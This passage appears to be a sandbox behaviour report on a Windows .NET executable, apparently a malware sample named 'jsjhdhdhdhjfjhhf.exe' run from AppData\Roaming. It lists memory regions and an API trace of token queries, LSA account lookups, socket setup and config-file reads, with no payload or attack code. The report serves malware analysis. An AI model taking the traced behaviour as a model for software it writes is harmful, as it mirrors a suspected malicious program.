	          end_va = 0x6b5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006a60000"
	        filename = ""

Region:
	              id = 1257
	        start_va = 0x73bd0000
	          end_va = 0x73bdefff
	     entry_point = 0x73bd0000
	     region_type = mapped_file
	            name = "wbemsvc.dll"
	        filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll")

Region:
	              id = 1258
	        start_va = 0x7ef2e000
	          end_va = 0x7ef30fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef2e000"
	        filename = ""

Region:
	              id = 1259
	        start_va = 0x71110000
	          end_va = 0x711a5fff
	     entry_point = 0x71110000
	     region_type = mapped_file
	            name = "fastprox.dll"
	        filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll")

Region:
	              id = 1260
	        start_va = 0x73bb0000
	          end_va = 0x73bc7fff
	     entry_point = 0x73bb0000
	     region_type = mapped_file
	            name = "ntdsapi.dll"
	        filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll")

Region:
	              id = 1606
	        start_va = 0x5b80000
	          end_va = 0x5bbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005b80000"
	        filename = ""

Region:
	              id = 1607
	        start_va = 0x5fd0000
	          end_va = 0x60cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005fd0000"
	        filename = ""

Region:
	              id = 1608
	        start_va = 0x5a30000
	          end_va = 0x5a6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005a30000"
	        filename = ""

Region:
	              id = 1609
	        start_va = 0x5d20000
	          end_va = 0x5e1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005d20000"
	        filename = ""

Region:
	              id = 1610
	        start_va = 0x5e60000
	          end_va = 0x5e9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005e60000"
	        filename = ""

Region:
	              id = 1611
	        start_va = 0x68a0000
	          end_va = 0x699ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000068a0000"
	        filename = ""

Region:
	              id = 1612
	        start_va = 0x7ef2b000
	          end_va = 0x7ef2dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef2b000"
	        filename = ""

Region:
	              id = 1613
	        start_va = 0x7ef2e000
	          end_va = 0x7ef30fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef2e000"
	        filename = ""

Region:
	              id = 1614
	        start_va = 0x59f0000
	          end_va = 0x5a2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000059f0000"
	        filename = ""

Region:
	              id = 1615
	        start_va = 0x5d60000
	          end_va = 0x5d9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005d60000"
	        filename = ""

Region:
	              id = 1616
	        start_va = 0x68b0000
	          end_va = 0x69affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000068b0000"
	        filename = ""

Region:
	              id = 1617
	        start_va = 0x6ac0000
	          end_va = 0x6bbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006ac0000"
	        filename = ""

Region:
	              id = 1618
	        start_va = 0x7ef2b000
	          end_va = 0x7ef2dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef2b000"
	        filename = ""

Region:
	              id = 1619
	        start_va = 0x7ef2e000
	          end_va = 0x7ef30fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef2e000"
	        filename = ""

Region:
	              id = 1620
	        start_va = 0x900000
	          end_va = 0x90ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000900000"
	        filename = ""

Region:
	              id = 1621
	        start_va = 0x5530000
	          end_va = 0x556ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005530000"
	        filename = ""

Region:
	              id = 1622
	        start_va = 0x5570000
	          end_va = 0x55affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005570000"
	        filename = ""

Region:
	              id = 1623
	        start_va = 0x6c50000
	          end_va = 0x6d4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006c50000"
	        filename = ""

Region:
	              id = 1624
	        start_va = 0xa20000
	          end_va = 0xa2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000a20000"
	        filename = ""

Region:
	              id = 1625
	        start_va = 0x54f0000
	          end_va = 0x552ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000054f0000"
	        filename = ""

Region:
	              id = 1626
	        start_va = 0x5a30000
	          end_va = 0x5a6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005a30000"
	        filename = ""

Region:
	              id = 1627
	        start_va = 0x5e30000
	          end_va = 0x5e6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005e30000"
	        filename = ""

Region:
	              id = 1628
	        start_va = 0x68b0000
	          end_va = 0x69affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000068b0000"
	        filename = ""

Region:
	              id = 1629
	        start_va = 0x6e60000
	          end_va = 0x6f5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006e60000"
	        filename = ""

Region:
	              id = 1630
	        start_va = 0x7020000
	          end_va = 0x711ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007020000"
	        filename = ""

Region:
	              id = 1631
	        start_va = 0x7ef22000
	          end_va = 0x7ef24fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef22000"
	        filename = ""

Region:
	              id = 1632
	        start_va = 0x7ef25000
	          end_va = 0x7ef27fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef25000"
	        filename = ""

Region:
	              id = 1633
	        start_va = 0x7ef28000
	          end_va = 0x7ef2afff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef28000"
	        filename = ""

Region:
	              id = 1634
	        start_va = 0xa30000
	          end_va = 0xa3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000a30000"
	        filename = ""

Region:
	              id = 1635
	        start_va = 0x5d20000
	          end_va = 0x5d5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005d20000"
	        filename = ""

Region:
	              id = 1636
	        start_va = 0x7180000
	          end_va = 0x727ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007180000"
	        filename = ""

Region:
	              id = 1637
	        start_va = 0x7ef1f000
	          end_va = 0x7ef21fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef1f000"
	        filename = ""

Region:
	              id = 1741
	        start_va = 0x65d0000
	          end_va = 0x66cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000065d0000"
	        filename = ""

Region:
	              id = 1801
	        start_va = 0x900000
	          end_va = 0x901fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000900000"
	        filename = ""

Region:
	              id = 1802
	        start_va = 0xa20000
	          end_va = 0xa2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000a20000"
	        filename = ""

Region:
	              id = 1803
	        start_va = 0x2290000
	          end_va = 0x22cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002290000"
	        filename = ""

Region:
	              id = 1804
	        start_va = 0x6ad0000
	          end_va = 0x6bcffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006ad0000"
	        filename = ""

Region:
	              id = 1834
	        start_va = 0xa30000
	          end_va = 0xa31fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000a30000"
	        filename = ""

Region:
	              id = 1835
	        start_va = 0x5830000
	          end_va = 0x586ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005830000"
	        filename = ""

Region:
	              id = 1836
	        start_va = 0x6a60000
	          end_va = 0x6b5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006a60000"
	        filename = ""

Region:
	              id = 1925
	        start_va = 0x2290000
	          end_va = 0x2294fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002290000"
	        filename = ""

Region:
	              id = 1930
	        start_va = 0x5d80000
	          end_va = 0x5dbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005d80000"
	        filename = ""

Region:
	              id = 1931
	        start_va = 0x5de0000
	          end_va = 0x5e1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005de0000"
	        filename = ""

Region:
	              id = 1932
	        start_va = 0x71100000
	          end_va = 0x71107fff
	     entry_point = 0x71100000
	     region_type = mapped_file
	            name = "secur32.dll"
	        filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll")

Region:
	              id = 1933
	        start_va = 0x7ef2b000
	          end_va = 0x7ef2dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef2b000"
	        filename = ""

Region:
	              id = 1934
	        start_va = 0x710c0000
	          end_va = 0x710f9fff
	     entry_point = 0x710c0000
	     region_type = mapped_file
	            name = "schannel.dll"
	        filename = "\\Windows\\SysWOW64\\schannel.dll" (normalized: "c:\\windows\\syswow64\\schannel.dll")

Region:
	              id = 1935
	        start_va = 0x770e0000
	          end_va = 0x771fcfff
	     entry_point = 0x770e0000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll")

Region:
	              id = 1936
	        start_va = 0x758b0000
	          end_va = 0x758bbfff
	     entry_point = 0x758b0000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll")

Region:
	              id = 1937
	        start_va = 0x71080000
	          end_va = 0x710b7fff
	     entry_point = 0x71080000
	     region_type = mapped_file
	            name = "ncrypt.dll"
	        filename = "\\Windows\\SysWOW64\\ncrypt.dll" (normalized: "c:\\windows\\syswow64\\ncrypt.dll")

Region:
	              id = 1938
	        start_va = 0x71040000
	          end_va = 0x7107cfff
	     entry_point = 0x71040000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll")

Region:
	              id = 1939
	        start_va = 0x2290000
	          end_va = 0x2290fff
	     entry_point = 0x2290000
	     region_type = mapped_file
	            name = "tzres.dll"
	        filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll")

Region:
	              id = 1940
	        start_va = 0x2290000
	          end_va = 0x2296fff
	     entry_point = 0x2290000
	     region_type = mapped_file
	            name = "tzres.dll.mui"
	        filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui")

Region:
	              id = 1941
	        start_va = 0x2290000
	          end_va = 0x2290fff
	     entry_point = 0x2290000
	     region_type = mapped_file
	            name = "tzres.dll"
	        filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll")

Region:
	              id = 1942
	        start_va = 0x2290000
	          end_va = 0x2296fff
	     entry_point = 0x2290000
	     region_type = mapped_file
	            name = "tzres.dll.mui"
	        filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui")

Region:
	              id = 1943
	        start_va = 0x2290000
	          end_va = 0x2290fff
	     entry_point = 0x2290000
	     region_type = mapped_file
	            name = "tzres.dll"
	        filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll")

Region:
	              id = 1944
	        start_va = 0x2290000
	          end_va = 0x2296fff
	     entry_point = 0x2290000
	     region_type = mapped_file
	            name = "tzres.dll.mui"
	        filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui")

Region:
	              id = 1945
	        start_va = 0x5660000
	          end_va = 0x569ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005660000"
	        filename = ""

Region:
	              id = 1946
	        start_va = 0x6ce0000
	          end_va = 0x6ddffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006ce0000"
	        filename = ""

Region:
	              id = 1947
	        start_va = 0x73b70000
	          end_va = 0x73b86fff
	     entry_point = 0x73b70000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll")

Region:
	              id = 1948
	        start_va = 0x7ef25000
	          end_va = 0x7ef27fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef25000"
	        filename = ""

Region:
	              id = 1949
	        start_va = 0x71030000
	          end_va = 0x7103afff
	     entry_point = 0x71030000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll")

Region:
	              id = 1950
	        start_va = 0x6de0000
	          end_va = 0x6fdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006de0000"
	        filename = ""

Region:
	              id = 1951
	        start_va = 0x71010000
	          end_va = 0x71025fff
	     entry_point = 0x71010000
	     region_type = mapped_file
	            name = "gpapi.dll"
	        filename = "\\Windows\\SysWOW64\\gpapi.dll" (normalized: "c:\\windows\\syswow64\\gpapi.dll")

Region:
	              id = 1973
	        start_va = 0x6b70000
	          end_va = 0x6c6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006b70000"
	        filename = ""


Thread:
	id = 69
	os_tid = 0x7a8

	[0077.413] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0
	[0077.823] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc1c4
	[0077.823] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc1c5
	[0077.885] GetCurrentProcess () returned 0xffffffff
	[0077.886] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3feee8 | out: TokenHandle=0x3feee8*=0x1e4) returned 1
	[0077.896] GetCurrentProcess () returned 0xffffffff
	[0077.896] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x3fef44, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x3fef44*=0x1e8) returned 1
	[0077.912] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0
	[0077.914] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x74d50000
	[0077.926] GetModuleHandleW (lpModuleName="user32.dll") returned 0x76dc0000
	[0077.927] GetProcAddress (hModule=0x76dc0000, lpProcName="DefWindowProcW") returned 0x776625dd
	[0077.927] GetStockObject (i=5) returned 0x1900015
	[0077.938] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0077.940] CoTaskMemAlloc (cb=0x5c) returned 0x6b8aa0
	[0077.940] RegisterClassW (lpWndClass=0x3fed5c) returned 0xc1c6
	[0077.940] CoTaskMemFree (pv=0x6b8aa0) 
	[0077.940] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0077.940] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x501ae
	[0077.940] SetWindowLongW (hWnd=0x501ae, nIndex=-4, dwNewLong=2003183069) returned 78907366
	[0077.941] GetWindowLongW (hWnd=0x501ae, nIndex=-4) returned 2003183069
	[0077.947] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x3fe66c | out: phkResult=0x3fe66c*=0x1fc) returned 0x0
	[0077.948] RegQueryValueExW (in: hKey=0x1fc, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x3fe68c, lpData=0x0, lpcbData=0x3fe688*=0x0 | out: lpType=0x3fe68c*=0x0, lpData=0x0, lpcbData=0x3fe688*=0x0) returned 0x2
	[0077.948] RegQueryValueExW (in: hKey=0x1fc, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x3fe68c, lpData=0x0, lpcbData=0x3fe688*=0x0 | out: lpType=0x3fe68c*=0x0, lpData=0x0, lpcbData=0x3fe688*=0x0) returned 0x2
	[0077.948] RegCloseKey (hKey=0x1fc) returned 0x0
	[0077.950] SetWindowLongW (hWnd=0x501ae, nIndex=-4, dwNewLong=78907406) returned 2003183069
	[0077.950] GetWindowLongW (hWnd=0x501ae, nIndex=-4) returned 78907406
	[0077.950] GetWindowLongW (hWnd=0x501ae, nIndex=-16) returned 113311744
	[0077.951] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc1c7
	[0077.951] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc1c8
	[0077.951] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x501ae, Msg=0x81, wParam=0x0, lParam=0x3fe938) returned 0x1
	[0077.952] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x501ae, Msg=0x83, wParam=0x0, lParam=0x3fe924) returned 0x0
	[0077.952] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x501ae, Msg=0x1, wParam=0x0, lParam=0x3fe938) returned 0x0
	[0077.952] GetClientRect (in: hWnd=0x501ae, lpRect=0x3fe6a0 | out: lpRect=0x3fe6a0) returned 1
	[0077.952] GetWindowRect (in: hWnd=0x501ae, lpRect=0x3fe6a0 | out: lpRect=0x3fe6a0) returned 1
	[0077.953] GetParent (hWnd=0x501ae) returned 0x0
	[0078.145] IIDFromString (in: lpsz="{1f128a07-8438-4dc0-8205-570da0ccce8d}", lpiid=0x3ff2f8 | out: lpiid=0x3ff2f8) returned 0x0
	[0078.156] GetCurrentProcess () returned 0xffffffff
	[0078.156] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ff2b4 | out: TokenHandle=0x3ff2b4*=0x1fc) returned 1
	[0078.156] GetCurrentProcess () returned 0xffffffff
	[0078.156] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ff288 | out: TokenHandle=0x3ff288*=0x200) returned 1
	[0078.161] GetTokenInformation (in: TokenHandle=0x1fc, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x3ff2bc | out: TokenInformation=0x0, ReturnLength=0x3ff2bc) returned 0
	[0078.162] LocalAlloc (uFlags=0x0, uBytes=0x24) returned 0x6c3d70
	[0078.162] GetTokenInformation (in: TokenHandle=0x1fc, TokenInformationClass=0x1, TokenInformation=0x6c3d70, TokenInformationLength=0x24, ReturnLength=0x3ff2bc | out: TokenInformation=0x6c3d70, ReturnLength=0x3ff2bc) returned 1
	[0078.173] LocalFree (hMem=0x6c3d70) returned 0x0
	[0078.175] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x3ff1dc, DesiredAccess=0x800, PolicyHandle=0x3ff19c | out: PolicyHandle=0x3ff19c) returned 0x0
	[0078.181] LsaLookupSids (in: PolicyHandle=0x698ed8, Count=0x1, Sids=0x23e8660*=0x23e85cc*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x68)), ReferencedDomains=0x3ff1b8, Names=0x3ff1ac | out: ReferencedDomains=0x3ff1b8, Names=0x3ff1ac) returned 0x0
	[0078.183] LsaClose (ObjectHandle=0x698ed8) returned 0x0
	[0078.183] LsaFreeMemory (Buffer=0x6b89d0) returned 0x0
	[0078.183] LsaFreeMemory (Buffer=0x6c3d70) returned 0x0
	[0078.199] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x3ff144, DesiredAccess=0x800, PolicyHandle=0x3ff104 | out: PolicyHandle=0x3ff104) returned 0x0
	[0078.204] CoTaskMemAlloc (cb=0x8) returned 0x6a5a60
	[0078.208] CoTaskMemAlloc (cb=0x22) returned 0x6c3d70
	[0078.208] LsaLookupNames2 (in: PolicyHandle=0x698ed8, Flags=0x0, Count=0x1, Names="YKYD69Q\\aETAdzjz", ReferencedDomains=0x3ff118, Sids=0x3ff10c | out: ReferencedDomains=0x3ff118, Sids=0x3ff10c) returned 0x0
	[0078.209] CoTaskMemFree (pv=0x6c3d70) 
	[0078.209] CoTaskMemFree (pv=0x6a5a60) 
	[0078.214] LsaClose (ObjectHandle=0x698ed8) returned 0x0
	[0078.214] LsaFreeMemory (Buffer=0x6b89d0) returned 0x0
	[0078.214] LsaFreeMemory (Buffer=0x693e68) returned 0x0
	[0078.231] CreateEventW (lpEventAttributes=0x23e8f80, bManualReset=1, bInitialState=0, lpName="1f128a07-8438-4dc0-8205-570da0ccce8d1.0Event") returned 0x20c
	[0078.231] CreateEventW (lpEventAttributes=0x23e9028, bManualReset=0, bInitialState=0, lpName="1f128a07-8438-4dc0-8205-570da0ccce8d1.0Event2") returned 0x210
	[0078.314] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x3ff0c0 | out: lpWSAData=0x3ff0c0) returned 0
	[0078.320] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x22c
	[0078.332] setsockopt (s=0x22c, level=65535, optname=128, optval="\x01", optlen=4) returned -1
	[0078.332] closesocket (s=0x22c) returned 0
	[0078.332] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x22c
	[0078.336] setsockopt (s=0x22c, level=65535, optname=128, optval="\x01", optlen=4) returned -1
	[0078.336] closesocket (s=0x22c) returned 0
	[0078.440] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe.config", nBufferLength=0x105, lpBuffer=0x3fec28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe.config", lpFilePart=0x0) returned 0x3d
	[0078.441] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe.config", nBufferLength=0x105, lpBuffer=0x3febd4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe.config", lpFilePart=0x0) returned 0x3d
	[0078.619] GetCurrentProcess () returned 0xffffffff
	[0078.619] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3fef7c | out: TokenHandle=0x3fef7c*=0x22c) returned 1
	[0078.621] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x3fea5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e
	[0078.622] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x3fef7c | out: lpFileInformation=0x3fef7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92785300, ftCreationTime.dwHighDateTime=0x1cd5d48, ftLastAccessTime.dwLowDateTime=0x346650f0, ftLastAccessTime.dwHighDateTime=0x1d2f186, ftLastWriteTime.dwLowDateTime=0x92785300, ftLastWriteTime.dwHighDateTime=0x1cd5d48, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1
	[0078.623] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x3fea28, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43
	[0078.623] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x3fef7c | out: lpFileInformation=0x3fef7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92785300, ftCreationTime.dwHighDateTime=0x1cd5d48, ftLastAccessTime.dwLowDateTime=0x346650f0, ftLastAccessTime.dwHighDateTime=0x1d2f186, ftLastWriteTime.dwLowDateTime=0x92785300, ftLastWriteTime.dwHighDateTime=0x1cd5d48, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1
	[0078.624] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x3fe9b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43
	[0078.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3feea8) returned 1
	[0078.624] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x230
	[0078.624] GetFileType (hFile=0x230) returned 0x1
	[0078.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3feea4) returned 1
	[0078.624] GetFileType (hFile=0x230) returned 0x1
	[0078.659] GetFileSize (in: hFile=0x230, lpFileSizeHigh=0x3fef70 | out: lpFileSizeHigh=0x3fef70*=0x0) returned 0x8c8f
	[0078.660] ReadFile (in: hFile=0x230, lpBuffer=0x23ec8fc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3fef2c, lpOverlapped=0x0 | out: lpBuffer=0x23ec8fc*, lpNumberOfBytesRead=0x3fef2c*=0x1000, lpOverlapped=0x0) returned 1
	[0078.678] ReadFile (in: hFile=0x230, lpBuffer=0x23ec8fc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3fedc8, lpOverlapped=0x0 | out: lpBuffer=0x23ec8fc*, lpNumberOfBytesRead=0x3fedc8*=0x1000, lpOverlapped=0x0) returned 1
	[0078.684] ReadFile (in: hFile=0x230, lpBuffer=0x23ec8fc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3fec7c, lpOverlapped=0x0 | out: lpBuffer=0x23ec8fc*, lpNumberOfBytesRead=0x3fec7c*=0x1000, lpOverlapped=0x0) returned 1
	[0078.684] ReadFile (in: hFile=0x230, lpBuffer=0x23ec8fc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3fec7c, lpOverlapped=0x0 | out: lpBuffer=0x23ec8fc*, lpNumberOfBytesRead=0x3fec7c*=0x1000, lpOverlapped=0x0) returned 1
	[0078.684] ReadFile (in: hFile=0x230, lpBuffer=0x23ec8fc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3fec7c, lpOverlapped=0x0 | out: lpBuffer=0x23ec8fc*, lpNumberOfBytesRead=0x3fec7c*=0x1000, lpOverlapped=0x0) returned 1
	[0078.684] ReadFile (in: hFile=0x230, lpBuffer=0x23ec8fc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3febb4, lpOverlapped=0x0 | out: lpBuffer=0x23ec8fc*, lpNumberOfBytesRead=0x3febb4*=0x1000, lpOverlapped=0x0) returned 1
	[0078.689] ReadFile (in: hFile=0x230, lpBuffer=0x23ec8fc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3fed30, lpOverlapped=0x0 | out: lpBuffer=0x23ec8fc*, lpNumberOfBytesRead=0x3fed30*=0x1000, lpOverlapped=0x0) returned 1
	[0078.690] ReadFile (in: hFile=0x230, lpBuffer=0x23ec8fc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3fec44, lpOverlapped=0x0 | out: lpBuffer=0x23ec8fc*, lpNumberOfBytesRead=0x3fec44*=0x1000, lpOverlapped=0x0) returned 1
	[0078.690] ReadFile (in: hFile=0x230, lpBuffer=0x23ec8fc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3fec44, lpOverlapped=0x0 | out: lpBuffer=0x23ec8fc*, lpNumberOfBytesRead=0x3fec44*=0xc8f, lpOverlapped=0x0) returned 1
